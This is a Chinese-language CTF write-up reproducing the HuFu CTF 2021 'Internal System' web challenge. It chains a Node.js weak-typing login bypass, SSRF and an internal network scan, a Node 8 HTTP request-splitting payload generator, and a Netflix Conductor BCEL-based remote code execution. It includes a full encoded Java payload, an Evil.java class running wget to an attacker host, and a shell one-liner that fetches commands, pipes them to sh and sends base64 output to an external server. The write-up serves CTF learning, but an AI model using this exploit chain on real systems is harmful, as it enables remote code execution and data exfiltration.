BUU-Web-[虎符CTF 2021]Internal System
前言
先附上成果图拿到Flag那一刻太激动了!!!
好了,话说回来。这次的题目的2021虎符CTF的Web最后一道零解题,能够根据大佬的WriteUP成功将漏洞复现,并且学到其中的知识点,自己已经收获了很多了。
在这里再一次感谢@Glzjin,赵总yyds!!!
知识点
- NodeJs 代码审计
- NodeJs 弱类型
- NodeJs8 http库请求拆分漏洞
- SSRF
- Netflix Conductor 1day
- Java BCEL 编码
操作步骤
- 加入后查看源码.
找到注释 /source,访问后得到源码 开始审计
const express = require('express') const router = express.Router()
const axios = require('axios')
const isIp = require('is-ip')
const IP = require('ip')
const UrlParse = require('url-parse')
const {sha256, hint} = require('./utils')
const salt = 'nooooooooodejssssssssss8_issssss_beeeeest' //得到提示版本为nodejs8
const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin')) //将2个admin先进行一次sha256编码后拼接再编码一次
const port = process.env.PORT || 3000 // 开放端口为3000或环境变量里的端口
function formatResopnse(response) {
if(typeof(response) !== typeof('')) {
return JSON.stringify(response)
} else {
return response
}
}
function SSRF_WAF(url) { //判断是否为内网地址
const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')
return isIp(host) && IP.isPublic(host)
}
function FLAG_WAF(url) { //判断路径是否为/flag
const pathname = new UrlParse(url).pathname
return !pathname.startsWith('/flag')
}
function OTHER_WAF(url) {
return true;
}
const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]
router.get('/', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) { //判断admin_session是否存在
res.redirect('/login')
} else {
res.redirect('/index')
}
})
router.get('/login', (req, res, next) => {
const {username, password} = req.query;
if(!username || !password || username === password || username.length === password.length || username === 'admin') {//判断username,password是否存在; 内容是否相等; 长度是否一致; 用户名是否为admin; 其中只要有一个为真就直接渲染(render)登陆界面
res.render('login')
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password))// 这里将username与password进行加密后,把加密数据与上面加密的admin/admin相比较,赋值给session.admin
req.session.admin = hash === adminHash
res.redirect('/index')
}
})
router.get('/index', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {//检测session
res.redirect('/login')
} else {
res.render('index', {admin: req.session.admin, network: JSON.stringify(require('os').networkInterfaces())}) //渲染网卡信息
}
})
router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) { //需要获取到admir的session
return res.redirect('/index')
}
const url = decodeURI(req.query.url);
console.log(url)
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b) //放到WAF_LIST中进行判断,返回结果为bool
if(!status) {
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)//为真就调用接口
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})
router.post('/proxy', async(req, res, next) => { //注释里写到是测试接口,用不上
if(!req.session.admin) {
return res.redirect('/index')
}
// test url
// not implemented here
const url = "https://postman-echo.com/post"
await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', "Something needs to be implemented")
})
router.all('/search', async (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){//只允许127.0.0.1进行访问
return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
}
//可以发现这里没有对url进行WAF,因此存在可利用对SSRF
const result = {title: 'Search Success', content: ''}
const method = req.method.toLowerCase()
const url = decodeURI(req.query.url)
const data = req.body
try {
if(method == 'get') {
const response = await axios.get(url)
result.content = formatResopnse(response.data)
} else if(method == 'post') {
const response = await axios.post(url, data)
result.content = formatResopnse(response.data)
} else {
result.title = 'Error'
result.content = 'Unsupported Method'
}
} catch(error) {
result.title = 'Error'
result.content = error.message
}
return res.json(result)
})
router.get('/source', (req, res, next)=>{
res.sendFile( __dirname + "/" + "index.js");
})
router.get('/flag', (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){//判断是否为本地请求
return res.send({title: 'Error', content: 'No Flag For You!'})
}
return res.json({hint: hint})
})
module.exports = router我们可以返回到首页进行登陆,这里调用的是登陆接口
router.get('/login', (req, res, next) => { const {username, password} = req.query;
if(!username || !password || username === password || username.length === password.length || username === 'admin') {//判断username,password是否存在; 内容是否相等; 长度是否一致; 用户名是否为admin; 其中只要有一个为真就直接渲染(render)登陆界面
res.render('login')
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password))// 这里将username与password进行加密后,把加密数据与上面加密的admin/admin相比较,赋值给session.admin
req.session.admin = hash === adminHash
res.redirect('/index')
}
})
他是将接受到的username与password进行加密然后拼接并与admin/admin进行比较,判断是否能够登陆。但在此之前会对输入进行一次过滤,当出现以下情况都会被拦截
1. 空输入 2. 内容相同
3. 长度相同
4. username的内容为['admin']
这里就需要进行绕过,可以做一个测试
发现当string与list类型想拼接时会直接转化为string,并且类型不相同,长度不同,因此可以绕过
最后绕过的payload[ /login?username[]=admin&password=admin ]
登陆成功后就可以查看到网卡信息接下来就是第二个接口
router.get('/proxy', async(req, res, next) => { if(!req.session.admin) { //需要获取到admir的session
return res.redirect('/index')
}
const url = decodeURI(req.query.url);
console.log(url)
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b) //放到WAF_LIST中进行判断,返回结果为bool
if(!status) {
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)//为真就调用接口
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})
这个接口会调用前会判断session是否为admin,并且将请求的url放入WAF中进行过滤
就好比
这里可以尝试http://0.0.0.0:3000
- 0.0.0.0:3000指的是该设备上所有开放的3000的端口
不出意外的成功了
- 0.0.0.0:3000指的是该设备上所有开放的3000的端口
由于search接口并没有设置WAF,只设置了仅限本地访问,我们可以直接调用/search接口访问/flag
Payload为 http://0.0.0.0:3000/search?url=http://127.0.0.1:3000/flag得到提示,内网中有一台设备开了 netflix conductor server 这里就需要去找Netflix conductor 的漏洞,并且找到开设服务的设备.
从得到的网卡信息得知,10.0.203.9这个格式是docker的默认网卡格式,我们就开始上手利用SSRF查找
并且通过查阅官方文档发现服务开放于8080端口 https://github.com/Netflix/conductor/blob/dev/client/python/kitchensink_workers.pyfrom __future__ import print_function
from conductor.ConductorWorker import ConductorWorker,TaskStatus
def execute(task):
return ConductorWorker.task_result(
status=TaskStatus.COMPLETED,
output= {'mod': 5, 'taskToExecute': 'task_1', 'oddEven': 0},
logs=['one','two']
)
def execute4(task):
forkTasks = [{"name": "task_1", "taskReferenceName": "task_1_1", "type": "SIMPLE"},{"name": "sub_workflow_4", "taskReferenceName": "wf_dyn", "type": "SUB_WORKFLOW", "subWorkflowParam": {"name": "sub_flow_1"}}];
input = {'task_1_1': {}, 'wf_dyn': {}}
return {'status': 'COMPLETED', 'output': {'mod': 5, 'taskToExecute': 'task_1', 'oddEven': 0, 'dynamicTasks': forkTasks, 'inputs': input}, 'logs': ['one','two']}
def main():
print('Starting Kitchensink workflows')
cc = ConductorWorker('http://localhost:8080/api', 1, 0.1)
for x in range(1, 30):
if(x == 4):
cc.start('task_{0}'.format(x), execute4, False)
else:
cc.start('task_{0}'.format(x), execute, False)
cc.start('task_30', execute, True)
if __name__ == '__main__':
main()
http://0.0.0.0:3000/search?url=http://10.0.203.10:8080
一直查到
http://0.0.0.0:3000/search?url=http://10.0.203.14:8080
得到信息将拿到的信息转码后得到以下代码
<!DOCTYPE html>\n <html>\n
<head>\n
<meta charset=\ "UTF-8\">\n
<title>Swagger UI</title>\n
<link rel=\ "icon\" type=\ "image/png\" href=\ "images/favicon-32x32.png\" sizes=\ "32x32\" />\n
<link rel=\ "icon\" type=\ "image/png\" href=\ "images/favicon-16x16.png\" sizes=\ "16x16\" />\n
<link href='css/typography.css' media='screen' rel='stylesheet' type='text/css' />\n
<link href='css/reset.css' media='screen' rel='stylesheet' type='text/css' />\n
<link href='css/screen.css' media='screen' rel='stylesheet' type='text/css' />\n
<link href='css/reset.css' media='print' rel='stylesheet' type='text/css' />\n
<link href='css/print.css' media='print' rel='stylesheet' type='text/css' />\n\n
<script src='lib/object-assign-pollyfill.js' type='text/javascript'></script>\n
<script src='lib/jquery-1.8.0.min.js' type='text/javascript'></script>\n
<script src='lib/jquery.slideto.min.js' type='text/javascript'></script>\n
<script src='lib/jquery.wiggle.min.js' type='text/javascript'></script>\n
<script src='lib/jquery.ba-bbq.min.js' type='text/javascript'></script>\n
<script src='lib/handlebars-4.0.5.js' type='text/javascript'></script>\n
<script src='lib/lodash.min.js' type='text/javascript'></script>\n
<script src='lib/backbone-min.js' type='text/javascript'></script>\n
<script src='swagger-ui.js' type='text/javascript'></script>\n
<script src='lib/highlight.9.1.0.pack.js' type='text/javascript'></script>\n
<script src='lib/highlight.9.1.0.pack_extended.js' type='text/javascript'></script>\n
<script src='lib/jsoneditor.min.js' type='text/javascript'></script>\n
<script src='lib/marked.js' type='text/javascript'></script>\n
<script src='lib/swagger-oauth.js' type='text/javascript'></script>\n\n
<!-- Some basic translations -->\n
<!-- <script src='lang/translator.js' type='text/javascript'></script> -->\n
<!-- <script src='lang/ru.js' type='text/javascript'></script> -->\n
<!-- <script src='lang/en.js' type='text/javascript'></script> -->\n\n
<script type=\ "text/javascript\">\n $(function() {\n\n
var url = window.location.search.match(/url=([^&]+)/); //http://127.0.0.1:8080/?url=127.0.0.1:8080\n if (url && url.length > 1) {\n url = decodeURIComponent(url[1]);\n\n if (!url.includes('://')) {\n url = `http://${url}`;\n }\n } else {\n url = window.location.origin;\n }\n\n hljs.configure({\n highlightSizeThreshold: 5000\n });\n\n // Pre load translate...\n if(window.SwaggerTranslator) {\n window.SwaggerTranslator.translate();\n }\n window.swaggerUi = new SwaggerUi({\n url: url + \"/api/swagger.json\",\n dom_id: \"swagger-ui-container\",\n supportedSubmitMethods: ['get', 'post', 'put', 'delete', 'patch'],\n onComplete: function(swaggerApi, swaggerUi){\n window.swaggerUi.api.setBasePath(\"/api\");\n if(typeof initOAuth == \"function\") {\n initOAuth({\n clientId: \"your-client-id\",\n clientSecret: \"your-client-secret-if-required\",\n realm: \"your-realms\",\n appName: \"your-app-name\",\n scopeSeparator: \" \",\n additionalQueryStringParams: {}\n });\n }\n\n if(window.SwaggerTranslator) {\n window.SwaggerTranslator.translate();\n }\n },\n onFailure: function(data) {\n log(\"Unable to Load SwaggerUI\");\n },\n docExpansion: \"none\",\n jsonEditor: false,\n defaultModelRendering: 'schema',\n showRequestHeaders: false\n });\n\n window.swaggerUi.load();\n\n function log() {\n if ('console' in window) {\n console.log.apply(console, arguments);\n }\n }\n });\n\n
</script>\n</head>\n\n
<body class=\ "swagger-section\">\n
<div id='header'>\n
<div class=\ "swagger-ui-wrap\">\n
<a id=\ "logo\" href=\ "http://swagger.io\">
<img class=\ "logo__img\" alt=\ "swagger\" height=\ "30\" width=\ "30\" src=\ "images/logo_small.png\" />
<span class=\ "logo__title\">swagger</span></a>\n
<form id='api_selector'>\n
<div class='input'>
<input placeholder=\ "http://example.com/api\" id=\ "input_baseUrl\" name=\ "baseUrl\" type=\ "text\"/></div>\n
<div id='auth_container'></div>\n
<div class='input'>
<a id=\ "explore\" class=\ "header__btn\" href=\ "#\" data-sw-translate>Explore</a></div>\n</form>\n</div>\n</div>\n\n
<div id=\ "message-bar\" class=\ "swagger-ui-wrap\" data-sw-translate> </div>\n
<div id=\ "swagger-ui-container\" class=\ "swagger-ui-wrap\"></div>\n</body>\n
</html>\n
我们可以在源码里的script中找到关键json文件 /api/swagger.json
然后构建url访问
获取到的就是接口文件找到路径 /api/admin/config 这里的api接口都是api/下的子接口因此需要加上/api
打进去看看
得到了版本信息2.26.0-SNAPSHOT找到了一个漏洞 https://xz.aliyun.com/t/7889 目前只有这一个洞,就先试试能不能用.
虽然官方说的影响版本是 <= v2.25.3
https://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2020-001.md开搞
首先构造恶意的REC
public class Evil {
public Evil() {
try {
Runtime.getRuntime().exec("wget http://[public_ip]:[port] -O /tmp/yunoon"); //这里也可以使用赵总的http://172.247.76.183:9998
}
catch (Exception ex) {
ex.printStackTrace();
}
}
public static void main(final String[] array) {
}
}对java程序进行编译
$ javac Evil.java
使用BCELCodeman.jar 将编译好的class文件转换为BCEL字符 工具GitHub地址
java -jar BCELCodeman.jar e Evil.class
如果输出的结果是一小段字符的话请检查你的Java版本也许他并不适合这个工具
我这里使用的版本为jdk1.8.0_211.jdkexport JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_211.jdk/Contents/Home/
这里需要注意的是,由于接口proxy只提供了Get请求并没有Post请求[ 有,但不能用:) ],
可以再重新看下源码router.get('/proxy', async(req, res, next) => { if(!req.session.admin) { //需要获取到admir的session
return res.redirect('/index')
}
const url = decodeURI(req.query.url);
console.log(url)
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b) //放到WAF_LIST中进行判断,返回结果为bool
if(!status) {
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)//为真就调用接口
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})
这里的axios的http协议 使用的是NodeJs的http库来实现的,我们可以利用nodejs8中的请求拆分漏洞( https://www.cvedetails.com/cve/CVE-2018-12116/ )来构造Post请求
NodeJS8中的请求拆分漏洞的关键就在于,平常我们的unicode是\u{00XX},漏洞利用就变成了\u{01XX}
写一个脚本将输出的内容放入变量a中
a = '$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2$40$U$3dS$k$85$K$f2$S$U$7c$81$$$EMd$e3$O$e3$c6$e0$K$l$R$a2$L7$96$3a$a9$83$d06e$m$c4$lr$cd$G$8d$L$3f$c0$8fR$ef4FLt$929w$ee$b9g$ce$9d$c7$fb$c7$eb$h$80$Dl$h$88a$c9$40$k$85$Y$96U$5c$d1Q4$QAI$c7$aa$8e5$86$e8$a1p$84$3cb$IUkW$M$e1c$f7$8e3$a4Z$c2$e1g$a3A$97$fb$j$b3$db$t$s$d9$96$a6$f5pjzA$k$ec$$$92$7c$60$K$87$a1P$bdi$f5$cc$b1Y$ef$9b$8e$5doK_8vC$d9$Zmw$e4$5b$fcD$u$8bxs$y$fa$fbJ$97$40$i$86$8e$f5$E6$b0$c9$b08$bc$_$d7$e5$c0$ab$db$fd$c7$9ep$S$u$a3$c2$90$9b$3b6$t$W$f7$a4p$a9$b4$F$83$da$w$t$86$f4$5cq$de$edqK2d$e6$d4$e5$c8$91b$40$7d$N$9b$cb$9f$q_$ad$b5$feh$gd$c9$t$dcb$d8$a9$fes$91_$d4$85$efZ$7c8$a4$N$v$8f$8a2x$95$8eoZ$i$V$e8$f4$dajh$60$ea$82$84$L$94$ddR$aeQ$y$ec$3e$83$bd$40$cb$86f$I_$3f$n$d6$da$9b$n$3a$rU$YI$a4$e9S4$qHWB$940Dl$84$f88Utd$c89O$8eI$aa$a4$a1$7d$S0$j$8b$KR$e1$40$93$f9$eeV$a4$c9$d4$9c$G$Le$Y$N$88$qa68$5c$ee$L$VXu$96$m$C$A$A' post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}'+a+'\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}test@example.org\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]'
console.log(encodeURI(
encodeURI(
encodeURI(
'http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.218.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload+ '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'))))注意要更改目标机的IP地址,然后运行出我们最终的Payload
node code.js
在请求之前我们还需要把服务器上的漏洞执行做好
main.py, FastAPI服务框架from fastapi import Depends, FastAPI from fastapi.responses import FileResponse
app = FastAPI(docs_url=None, redoc_url=None)
@app.get("/")
def return_passwd_file():
file_like = "test1.txt"
file_path = open(file_like, mode="rb")
return FileResponse(file_like)
@app.get("/command1.txt")
def return_passwd_file1():
file_like = "command.txt"
file_path = open(file_like, mode="rb")
return FileResponse(file_like)
if __name__ == '__main__':
import uvicorn
uvicorn.run(app='main:app', host='0.0.0.0', port=20000, reload=True, debug=True)
test1.txt 用来显示回显
#!/bin/sh wget http://[public_ip]:[port]/1?a=`wget -O- http://[public_ip]:[port]/command1.txt|sh|base64`
command1.txt 命令执行
cat /flag
RUN !!!
测试成功
最后我们需要将以前的Evil.java文件进行更改,使其执行目标服务器上的命令
因为我们上一个执行命令是wget http://[public_ip]:[port] -O /tmp/yunoon
目前在/temp下就有一个yunoon的文件,他的内容为我们写入在test1.txt中的内容
#!/bin/sh wget http://[public_ip]:[port]/1?a=`wget -O- http://[public_ip]:[port]/command1.txt|sh|base64`
注: public_ip与port需要更改为自己的公网ip与端口
最后再生产一个执行命令为
sh /tmp/yunoon
的class文件,重复9中的步骤,打过去
将URL中回显的Base64内容解密就可以拿到Flag
总结
这次复现花了2天,但收获颇丰.第一天做题,第二天写WriteUP,写WP的时候对这个漏洞的理解更深刻了,同时也学会了使用公网服务器来执行命令.
最后再归纳一下流程:
- 利用NodeJS弱类型username[]=admin进行登陆获取管理员Session
- 绕过127.0.0.1的WAF从而进行SSRF,调用/search接口获取到/flag拿到hint
- 利用SSRF扫描内网,获取到目标服务器地址
- 通过服务器的回显,知道swagger.json文件获取到/api/admin/config下的系统版本
- 利用4获取到的系统版本,知道Netflix Conductor的漏洞拿到Payload
- 构建恶意java程序,编译后使用BCELCodeman工具将class文件转换为BCEL字符
- 利用NodeJS8中的http库请求拆分漏洞,构建POST请求
- 编写脚本将请求转为URIencode的格式,然后通过/search接口发送请求,从而执行命令